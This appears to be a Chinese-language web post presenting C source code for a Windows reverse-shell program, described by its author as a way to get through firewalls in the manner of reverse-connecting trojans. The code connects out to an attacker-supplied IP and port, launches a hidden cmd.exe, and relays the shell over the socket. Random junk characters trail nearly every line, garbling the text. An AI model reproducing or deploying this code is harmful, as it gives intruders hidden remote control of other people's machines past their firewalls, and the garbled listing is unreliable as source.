Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 -j(6;9"7]|  
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/* ============================== reVgqYp{{-  
Rebound port in Windows NT }JfjX'  
By wind,2006/7 ?2a$*(  
===============================*/ k)u[0}  
#include
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#include Efe 7gE'  
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#pragma comment(lib,"wsock32.lib") iLT}oKF2N;  
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void OutputShell(); ^Cmyx
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SOCKET sClient; $>gFf}#C  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; H]s.=.Ki  
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void main(int argc,char **argv) POW>~Tof1  
{ QJNFA}*>  
WSADATA stWsaData; mOSv9w#,  
int nRet; 4Hg9N}  
SOCKADDR_IN stSaiClient,stSaiServer; kza5ab
 
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if(argc != 3) R]dg_Da  
{ d-m7}2c  
printf("Useage:\n\rRebound DestIP DestPort\n"); l:%GH  
return; c,22*.V/  
} zi:BF60]=  

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WSAStartup(MAKEWORD(2,2),&stWsaData); l%ZhA=TKQ  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); IID5c" oR  
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stSaiClient.sin_family = AF_INET; 67TwPvh  
stSaiClient.sin_port = htons(0); >/\'zi]L  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Si,6o!0k  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?upM>69{  
{ H]!"Zq k  
printf("Bind Socket Failed!\n"); 598i^z{~0%  
return; 51u0]Qx;fm  
} Bt#N4m[X*|  
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stSaiServer.sin_family = AF_INET; \9d$@V  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); u>$t'  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); X8|EHb<  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) `6YN3XS  
{ K^$=dLp  
printf("Connect Error!"); ':W[
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return; HDKbF/  
} P4?glh q#  
OutputShell(); b[yiq$K/  
} 8Y3I0S  
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void OutputShell() SaCh 7 ^  
{ :EH=_"  
char szBuff[1024]; /bEAK-  
SECURITY_ATTRIBUTES stSecurityAttributes; :KN-F86i  
OSVERSIONINFO stOsversionInfo; 7.T?#;'3  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; C?Ucu]cW  
STARTUPINFO stStartupInfo; X.V~SeS  
char *szShell; __@BUK{q  
PROCESS_INFORMATION stProcessInformation; $N\Ja*g  
unsigned long lBytesRead; mTh]PPo
 
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [Yyk0Qv|4  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Tr|JYLwF
 
stSecurityAttributes.lpSecurityDescriptor = 0; FqifriLN  
stSecurityAttributes.bInheritHandle = TRUE; ,47qw0=C  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); nie%eC&U  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Wf<LR3  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Mlq.?-QgIL  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DN/YHSYK  
stStartupInfo.wShowWindow = SW_HIDE; a>)f=uS  
stStartupInfo.hStdInput = hReadPipe; w:l"\Tm  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; W`&hp6Jq  
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GetVersionEx(&stOsversionInfo); 6,uX,X5  
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switch(stOsversionInfo.dwPlatformId) <X5fUU"+U  
{ 4sM.C9W  
case 1: Mq8L0%j  
szShell = "command.com"; aP`P)3O6)1  
break; ]HdCt3X  
default: qa6,z.mQ  
szShell = "cmd.exe"; , dp0;nkr  
break; 5coZ|O&f8  
} rH>)oThA#  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); zT[!o j7  
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send(sClient,szMsg,77,0); *j-aXN/$  
while(1) &0f,~ /%Z  
{ dTtSUA|V7"  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 2JFpZU"1  
if(lBytesRead) I0a<%;JJW  
{ &OBkevg  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); MW{8VH6+  
send(sClient,szBuff,lBytesRead,0); T>GM%^h,7-  
} XUw/2"D'?  
else 4OX^(  
{ _ J[
  
lBytesRead=recv(sClient,szBuff,1024,0); #[a*rD%m  
if(lBytesRead<=0) break; fzA9'i`  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); X jX2]  
} xKC[=E>z  
} VD:/PL  
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return; 0;ji65  
}